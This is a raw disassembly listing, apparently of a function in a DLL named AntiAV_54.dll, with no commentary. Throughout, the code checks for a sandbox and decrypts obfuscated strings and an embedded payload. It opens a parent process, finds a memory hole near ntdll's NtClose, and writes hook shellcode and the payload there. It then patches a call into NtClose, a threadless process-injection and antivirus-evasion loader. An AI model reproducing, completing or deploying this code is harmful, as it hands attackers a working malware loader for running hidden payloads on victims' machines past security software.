call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x2940]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c687bac
lea rbx, [0x6c73d3d7]
jmp 0x6c687bb3
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
call sym.AntiAV_54.dll_CheckSandbox__
test eax, eax
setne al
test al, al
je 0x6c687c39
lea rax, [rbp + 0x2970]
lea rdx, [rbp + 0x296f]
mov rcx, rax
call fcn.6c681d1c
mov rax, qword [rbp + 0x2970]
mov rdx, qword [rbp + 0x2978]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x2980]
mov rdx, qword [rbp + 0x2988]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, rbp
mov rcx, rax
call method.int_safe_print_skc.skCrypter_32___char_55___char_50__char____skc::skCrypter_32___char_55___char_50__char__
mov ebx, 0
jmp 0x6c688c70
lea rax, [rbp + 0x29a0]
lea rdx, [rbp + 0x299f]
mov rcx, rax
call fcn.6c681e2e
mov rax, qword [rbp + 0x29a0]
mov rdx, qword [rbp + 0x29a8]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov eax, dword [rbp + 0x29b0]
mov dword [rbp + 0x10], eax
movzx eax, word [rbp + 0x29b4]
mov word [rbp + 0x14], ax
mov rax, rbp
mov rcx, rax
call method.int_safe_print_skc.skCrypter_22___char_55___char_50__char____skc::skCrypter_22___char_55___char_50__char__
lea rcx, sym.AntiAV_54.dll_payload
call sym.AntiAV_54.dll_deC_unsigned_char_
mov rax, qword [sym.AntiAV_54.dll_payload_len]
mov qword [rbp + 0x2e40], rax
mov qword [rbp + 0x2e38], 0
movabs rax, 0x6c642e6c6c64746e
mov qword [rbp + 0xae], rax
mov word [rbp + 0xb6], 0x6c
movabs rax, 0x65736f6c43744e
mov qword [rbp + 0xa6], rax
lea rax, [rbp + 0xae]
mov qword [rbp + 0x2e30], rax
lea rax, [rbp + 0xa6]
mov qword [rbp + 0x2e28], rax
lea rax, [rbp + 0x29c0]
lea rdx, [rbp + 0x29ff]
mov rcx, rax
call fcn.6c681ef0
lea rax, [rbp + 0x29c0]
mov qword [rbp + 0x2e08], rax
mov rax, qword [rbp + 0x2e08]
mov qword [rbp + 0x2e00], rax
mov rax, qword [rbp + 0x2e00]
movzx eax, byte [rax + 0x33]
test al, al
setne al
test al, al
je 0x6c687dcd
mov rax, qword [rbp + 0x2e08]
mov rdx, qword [rbp + 0x2e08]
mov qword [rbp + 0x2df8], rdx
mov qword [rbp + 0x2df0], rax
mov dword [rbp + 0x2dec], 0
cmp dword [rbp + 0x2dec], 0x33
jg 0x6c687dcc
mov eax, dword [rbp + 0x2dec]
movsxd rdx, eax
mov rax, qword [rbp + 0x2df0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2dec]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x33
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2df8]
mov eax, dword [rbp + 0x2dec]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2dec], 1
jmp 0x6c687d60
nop
lea rax, [rbp + 0x29c0]
mov rcx, qword [rbp + 0x2e28]
mov rdx, qword [rbp + 0x2e30]
mov r8, rcx
mov rcx, rax
call fcn.6c6813d0
movabs rax, 0x52515005e8834858
movabs rdx, 0x5341524151415041
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x334455667788b948
movabs rdx, 0xec83480889481122
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x834800000011e840
movabs rdx, 0x59415a415b4140c4
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x90e0ff58595a5841
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x2e30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2e20], rax
cmp qword [rbp + 0x2e20], 0
jne 0x6c687f7d
lea rax, [rbp + 0x2a00]
lea rdx, [rbp + 0x2a2f]
mov rcx, rax
call fcn.6c6820a2
lea rax, [rbp + 0x2a00]
mov qword [rbp + 0x2de0], rax
mov rax, qword [rbp + 0x2de0]
mov qword [rbp + 0x2dd8], rax
mov rax, qword [rbp + 0x2dd8]
movzx eax, byte [rax + 0x23]
test al, al
setne al
test al, al
je 0x6c687f5d
mov rax, qword [rbp + 0x2de0]
mov rdx, qword [rbp + 0x2de0]
mov qword [rbp + 0x2dd0], rdx
mov qword [rbp + 0x2dc8], rax
mov dword [rbp + 0x2dc4], 0
cmp dword [rbp + 0x2dc4], 0x23
jg 0x6c687f5c
mov eax, dword [rbp + 0x2dc4]
movsxd rdx, eax
mov rax, qword [rbp + 0x2dc8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2dc4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x33
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2dd0]
mov eax, dword [rbp + 0x2dc4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2dc4], 1
jmp 0x6c687ef0
nop
lea rax, [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2e30]
mov rcx, rax
call fcn.6c6813d0
mov ebx, 1
jmp 0x6c688c70
mov rdx, qword [rbp + 0x2e28]
mov rax, qword [rbp + 0x2e20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2e18], rax
cmp qword [rbp + 0x2e18], 0
jne 0x6c6880b3
lea rax, [rbp + 0x2a30]
lea rdx, [rbp + 0x2a65]
mov rcx, rax
call fcn.6c6821d4
lea rax, [rbp + 0x2a30]
mov qword [rbp + 0x2db8], rax
mov rax, qword [rbp + 0x2db8]
mov qword [rbp + 0x2db0], rax
mov rax, qword [rbp + 0x2db0]
movzx eax, byte [rax + 0x26]
test al, al
setne al
test al, al
je 0x6c688089
mov rax, qword [rbp + 0x2db8]
mov rdx, qword [rbp + 0x2db8]
mov qword [rbp + 0x2da8], rdx
mov qword [rbp + 0x2da0], rax
mov dword [rbp + 0x2d9c], 0
cmp dword [rbp + 0x2d9c], 0x26
jg 0x6c688088
mov eax, dword [rbp + 0x2d9c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2da0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2d9c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x33
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2da8]
mov eax, dword [rbp + 0x2d9c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2d9c], 1
jmp 0x6c68801c
nop
lea rax, [rbp + 0x2a30]
mov rcx, qword [rbp + 0x2e28]
mov rdx, qword [rbp + 0x2e30]
mov r8, rcx
mov rcx, rax
call fcn.6c6813d0
mov ebx, 1
jmp 0x6c688c70
lea rax, [rbp + 0x2a6e]
mov rcx, rax
call fcn.6c68231e
mov qword [rbp + 0x2a66], rax
lea rax, [rbp + 0x2a66]
mov qword [rbp + 0x2d90], rax
mov rax, qword [rbp + 0x2d90]
mov qword [rbp + 0x2d88], rax
mov rax, qword [rbp + 0x2d88]
movzx eax, byte [rax + 7]
test al, al
setne al
test al, al
je 0x6c688190
mov rax, qword [rbp + 0x2d90]
mov rdx, qword [rbp + 0x2d90]
mov qword [rbp + 0x2d80], rdx
mov qword [rbp + 0x2d78], rax
mov dword [rbp + 0x2d74], 0
cmp dword [rbp + 0x2d74], 7
jg 0x6c68818f
mov eax, dword [rbp + 0x2d74]
movsxd rdx, eax
mov rax, qword [rbp + 0x2d78]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2d74]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x33
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2d80]
mov eax, dword [rbp + 0x2d74]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2d74], 1
jmp 0x6c688123
nop
lea rax, [rbp + 0x2a66]
mov rcx, rax
call sym.AntiAV_54.dll_GetParentHandle_char_const_
mov qword [rbp + 0x2f30], rax
mov rax, qword [rbp + 0x2e40]
lea rcx, [rax + 0x38]
mov rdx, qword [rbp + 0x2e18]
mov rax, qword [rbp + 0x2f30]
mov r8, rcx
mov rcx, rax
call sym.AntiAV_54.dll_findMemoryHole_void__unsigned_long_long__unsigned_long_long_
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
test rax, rax
jne 0x6c688272
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a6f]
mov rcx, rax
call fcn.6c6823b8
mov rax, qword [rbp + 0x2a70]
mov rdx, qword [rbp + 0x2a78]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2a80]
mov rdx, qword [rbp + 0x2a88]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2a90]
mov rdx, qword [rbp + 0x2a98]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2aa0]
mov qword [rbp - 0x10], rax
movzx eax, byte [rbp + 0x2aa8]
mov byte [rbp - 8], al
lea rax, [rbp - 0x40]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_57___char_55___char_50__char____skc::skCrypter_57___char_55___char_50__char__
mov rdx, qword [sym.AntiAV_54.dll_wqfJotrscJCNOQkuNsk]
mov rax, qword [rbp + 0x2f30]
mov rcx, rax
call rdx
mov qword [rbp + 0x2f30], 0
mov qword [rbp + 0x50], 0
mov dword [rbp + 0x2f2c], 0
cmp dword [rbp + 0x2f2c], 7
jg 0x6c6882c0
mov eax, dword [rbp + 0x2f2c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e18]
add rax, rdx
mov rcx, rax
mov eax, dword [rbp + 0x2f2c]
cdqe
lea rdx, [rbp + 0x50]
add rdx, rax
movzx eax, byte [rcx]
mov byte [rdx], al
add dword [rbp + 0x2f2c], 1
jmp 0x6c688284
mov rax, qword [rbp + 0x50]
lea rdx, [rbp + 0x60]
mov rcx, rax
call sym.AntiAV_54.dll_GenerateHook_unsigned_long_long__char_
mov qword [rbp + 0x48], 8
mov dword [rbp + 0x44], 0
mov rax, qword [rbp + 0x2e18]
mov qword [rbp + 0x38], rax
mov r10, qword [sym.AntiAV_54.dll_dIDEjqVDagDKmTmkegl]
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0x38]
mov rax, qword [rbp + 0x2f30]
lea rcx, [rbp + 0x44]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov rcx, rax
call r10
mov dword [rbp + 0x2e14], eax
cmp dword [rbp + 0x2e14], 0
je 0x6c688442
mov rbx, qword [rbp + 0x38]
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2aef]
mov rcx, rax
call fcn.6c682592
lea rax, [rbp + 0x2ab0]
mov qword [rbp + 0x2d68], rax
mov rax, qword [rbp + 0x2d68]
mov qword [rbp + 0x2d60], rax
mov rax, qword [rbp + 0x2d60]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x6c688409
mov rax, qword [rbp + 0x2d68]
mov rdx, qword [rbp + 0x2d68]
mov qword [rbp + 0x2d58], rdx
mov qword [rbp + 0x2d50], rax
mov dword [rbp + 0x2d4c], 0
cmp dword [rbp + 0x2d4c], 0x3a
jg 0x6c688408
mov eax, dword [rbp + 0x2d4c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2d50]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2d4c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x33
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2d58]
mov eax, dword [rbp + 0x2d4c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2d4c], 1
jmp 0x6c68839c
nop
lea rax, [rbp + 0x2ab0]
mov edx, dword [rbp + 0x2e14]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.6c6813d0
mov rdx, qword [sym.AntiAV_54.dll_wqfJotrscJCNOQkuNsk]
mov rax, qword [rbp + 0x2f30]
mov rcx, rax
call rdx
mov qword [rbp + 0x2f30], 0
mov rax, qword [rbp + 0x58]
sub rax, qword [rbp + 0x2e18]
sub rax, 5
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x2b], 0xe8
mov byte [rbp + 0x2f], 0
mov dword [rbp + 0x2f28], 0
cmp dword [rbp + 0x2f28], 3
jg 0x6c68849e
mov eax, dword [rbp + 0x2f28]
cdqe
lea rdx, [rbp + 0x30]
add rax, rdx
mov edx, dword [rbp + 0x2f28]
lea ecx, [rdx + 1]
movzx edx, byte [rax]
movsxd rax, ecx
mov byte [rbp + rax + 0x2b], dl
add dword [rbp + 0x2f28], 1
jmp 0x6c68846a
mov rax, qword [rbp + 0x2e18]
mov qword [rbp + 0x38], rax
mov r10, qword [sym.AntiAV_54.dll_NVPbavUhFeXzfVJvHOG]
mov rax, qword [rbp + 0x38]
mov r11, rax
lea rcx, [rbp + 0x2b]
mov rax, qword [rbp + 0x2f30]
lea rdx, [rbp + 0xb8]
mov qword [rsp + 0x20], rdx
mov r9d, 5
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x2e14], eax
cmp dword [rbp + 0x2e14], 0
jne 0x6c688500
mov rax, qword [rbp + 0xb8]
cmp rax, 5
je 0x6c68861a
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b2f]
mov rcx, rax
call fcn.6c68277c
lea rax, [rbp + 0x2af0]
mov qword [rbp + 0x2d40], rax
mov rax, qword [rbp + 0x2d40]
mov qword [rbp + 0x2d38], rax
mov rax, qword [rbp + 0x2d38]
movzx eax, byte [rax + 0x34]
test al, al
setne al
test al, al
je 0x6c6885dd
mov rax, qword [rbp + 0x2d40]
mov rdx, qword [rbp + 0x2d40]
mov qword [rbp + 0x2d30], rdx
mov qword [rbp + 0x2d28], rax
mov dword [rbp + 0x2d24], 0
cmp dword [rbp + 0x2d24], 0x34
jg 0x6c6885dc
mov eax, dword [rbp + 0x2d24]
movsxd rdx, eax
mov rax, qword [rbp + 0x2d28]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2d24]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x33
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2d30]
mov eax, dword [rbp + 0x2d24]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2d24], 1
jmp 0x6c688570
nop
lea rax, [rbp + 0x2af0]
mov ecx, dword [rbp + 0x2e14]
mov rdx, qword [rbp + 0x2e18]
mov r8d, ecx
mov rcx, rax
call fcn.6c6813d0
mov rdx, qword [sym.AntiAV_54.dll_wqfJotrscJCNOQkuNsk]
mov rax, qword [rbp + 0x2f30]
mov rcx, rax
call rdx
mov qword [rbp + 0x2f30], 0
mov rax, qword [rbp + 0x2e40]
add rax, 0x38
mov qword [rbp + 0x48], rax
mov r10, qword [sym.AntiAV_54.dll_dIDEjqVDagDKmTmkegl]
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0x58]
mov rax, qword [rbp + 0x2f30]
lea rcx, [rbp + 0x44]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x2e14], eax
cmp dword [rbp + 0x2e14], 0
je 0x6c688781
mov rbx, qword [rbp + 0x58]
lea rax, [rbp + 0x2b30]
lea rdx, [rbp + 0x2b6f]
mov rcx, rax
call fcn.6c682936
lea rax, [rbp + 0x2b30]
mov qword [rbp + 0x2d18], rax
mov rax, qword [rbp + 0x2d18]
mov qword [rbp + 0x2d10], rax
mov rax, qword [rbp + 0x2d10]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x6c688748
mov rax, qword [rbp + 0x2d18]
mov rdx, qword [rbp + 0x2d18]
mov qword [rbp + 0x2d08], rdx
mov qword [rbp + 0x2d00], rax
mov dword [rbp + 0x2cfc], 0
cmp dword [rbp + 0x2cfc], 0x3a
jg 0x6c688747
mov eax, dword [rbp + 0x2cfc]
movsxd rdx, eax
mov rax, qword [rbp + 0x2d00]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2cfc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x33
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2d08]
mov eax, dword [rbp + 0x2cfc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2cfc], 1
jmp 0x6c6886db
nop
lea rax, [rbp + 0x2b30]
mov edx, dword [rbp + 0x2e14]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.6c6813d0
mov rdx, qword [sym.AntiAV_54.dll_wqfJotrscJCNOQkuNsk]
mov rax, qword [rbp + 0x2f30]
mov rcx, rax
call rdx
mov qword [rbp + 0x2f30], 0
mov r10, qword [sym.AntiAV_54.dll_NVPbavUhFeXzfVJvHOG]
mov rax, qword [rbp + 0x58]
mov r11, rax
lea rcx, [rbp + 0x60]
mov rax, qword [rbp + 0x2f30]
lea rdx, [rbp + 0xb8]
mov qword [rsp + 0x20], rdx
mov r9d, 0x38
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x2e14], eax
cmp dword [rbp + 0x2e14], 0
jne 0x6c6887d8
mov rax, qword [rbp + 0xb8]
cmp rax, 0x38
je 0x6c6888f2
mov rbx, qword [rbp + 0x58]
lea rax, [rbp + 0x2b70]
lea rdx, [rbp + 0x2baf]
mov rcx, rax
call fcn.6c682b20
lea rax, [rbp + 0x2b70]
mov qword [rbp + 0x2cf0], rax
mov rax, qword [rbp + 0x2cf0]
mov qword [rbp + 0x2ce8], rax
mov rax, qword [rbp + 0x2ce8]
movzx eax, byte [rax + 0x34]
test al, al
setne al
test al, al
je 0x6c6888b9
mov rax, qword [rbp + 0x2cf0]
mov rdx, qword [rbp + 0x2cf0]
mov qword [rbp + 0x2ce0], rdx
mov qword [rbp + 0x2cd8], rax
mov dword [rbp + 0x2cd4], 0
cmp dword [rbp + 0x2cd4], 0x34
jg 0x6c6888b8
mov eax, dword [rbp + 0x2cd4]
movsxd rdx, eax
mov rax, qword [rbp + 0x2cd8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2cd4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x33
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2ce0]
mov eax, dword [rbp + 0x2cd4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2cd4], 1
jmp 0x6c68884c
nop
lea rax, [rbp + 0x2b70]
mov edx, dword [rbp + 0x2e14]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.6c6813d0
mov rdx, qword [sym.AntiAV_54.dll_wqfJotrscJCNOQkuNsk]
mov rax, qword [rbp + 0x2f30]
mov rcx, rax
call rdx
mov qword [rbp + 0x2f30], 0
mov r10, qword [sym.AntiAV_54.dll_NVPbavUhFeXzfVJvHOG]
mov rcx, qword [sym.AntiAV_54.dll_decoded]
mov rax, qword [rbp + 0x58]
add rax, 0x38
mov r11, rax
mov r8, qword [rbp + 0x2e40]
mov rax, qword [rbp + 0x2f30]
lea rdx, [rbp + 0xb8]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x2e14], eax
cmp dword [rbp + 0x2e14], 0
jne 0x6c688957
mov rax, qword [rbp + 0xb8]
cmp qword [rbp + 0x2e40], rax
je 0x6c688a7c
mov rdx, qword [rbp + 0x58]
mov rax, qword [rbp + 0x2e40]
lea rbx, [rdx + rax]
lea rax, [rbp + 0x2bb0]
lea rdx, [rbp + 0x2bef]
mov rcx, rax
call fcn.6c682cda
lea rax, [rbp + 0x2bb0]
mov qword [rbp + 0x2cc8], rax
mov rax, qword [rbp + 0x2cc8]
mov qword [rbp + 0x2cc0], rax
mov rax, qword [rbp + 0x2cc0]
movzx eax, byte [rax + 0x30]
test al, al
setne al
test al, al
je 0x6c688a43
mov rax, qword [rbp + 0x2cc8]
mov rdx, qword [rbp + 0x2cc8]
mov qword [rbp + 0x2cb8], rdx
mov qword [rbp + 0x2cb0], rax
mov dword [rbp + 0x2cac], 0
cmp dword [rbp + 0x2cac], 0x30
jg 0x6c688a42
mov eax, dword [rbp + 0x2cac]
movsxd rdx, eax
mov rax, qword [rbp + 0x2cb0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2cac]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x33
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2cb8]
mov eax, dword [rbp + 0x2cac]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2cac], 1
jmp 0x6c6889d6
nop
lea rax, [rbp + 0x2bb0]
mov edx, dword [rbp + 0x2e14]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.6c6813d0
mov rdx, qword [sym.AntiAV_54.dll_wqfJotrscJCNOQkuNsk]
mov rax, qword [rbp + 0x2f30]
mov rcx, rax
call rdx
mov qword [rbp + 0x2f30], 0
mov r10, qword [sym.AntiAV_54.dll_dIDEjqVDagDKmTmkegl]
mov r9d, dword [rbp + 0x44]
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0x58]
mov rax, qword [rbp + 0x2f30]
lea rcx, [rbp + 0x44]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x2e14], eax
cmp dword [rbp + 0x2e14], 0
je 0x6c688bd2
mov rbx, qword [rbp + 0x58]
lea rax, [rbp + 0x2bf0]
lea rdx, [rbp + 0x2c2e]
mov rcx, rax
call fcn.6c682e74
lea rax, [rbp + 0x2bf0]
mov qword [rbp + 0x2ca0], rax
mov rax, qword [rbp + 0x2ca0]
mov qword [rbp + 0x2c98], rax
mov rax, qword [rbp + 0x2c98]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x6c688b99
mov rax, qword [rbp + 0x2ca0]
mov rdx, qword [rbp + 0x2ca0]
mov qword [rbp + 0x2c90], rdx
mov qword [rbp + 0x2c88], rax
mov dword [rbp + 0x2c84], 0
cmp dword [rbp + 0x2c84], 0x3a
jg 0x6c688b98
mov eax, dword [rbp + 0x2c84]
movsxd rdx, eax
mov rax, qword [rbp + 0x2c88]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2c84]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x33
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2c90]
mov eax, dword [rbp + 0x2c84]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2c84], 1
jmp 0x6c688b2c
nop
lea rax, [rbp + 0x2bf0]
mov edx, dword [rbp + 0x2e14]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.6c6813d0
mov rdx, qword [sym.AntiAV_54.dll_wqfJotrscJCNOQkuNsk]
mov rax, qword [rbp + 0x2f30]
mov rcx, rax
call rdx
mov qword [rbp + 0x2f30], 0
lea rax, [rbp + 0x2c30]
lea rdx, [rbp + 0x2c2f]
mov rcx, rax
call fcn.6c68305e
mov rax, qword [rbp + 0x2c30]
mov rdx, qword [rbp + 0x2c38]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2c40]
mov rdx, qword [rbp + 0x2c48]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c58]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2c60]
mov rdx, qword [rbp + 0x2c68]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2c70]
mov rdx, qword [rbp + 0x2c78]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov eax, dword [rbp + 0x2c80]
mov dword [rbp + 0x10], eax
lea rax, [rbp - 0x40]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_84___char_55___char_50__char____skc::skCrypter_84___char_55___char_50__char__
mov ebx, 0
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726110
mov eax, ebx
jmp 0x6c68a421
add rsp, 0x2fd8
pop rbx
pop rbp
ret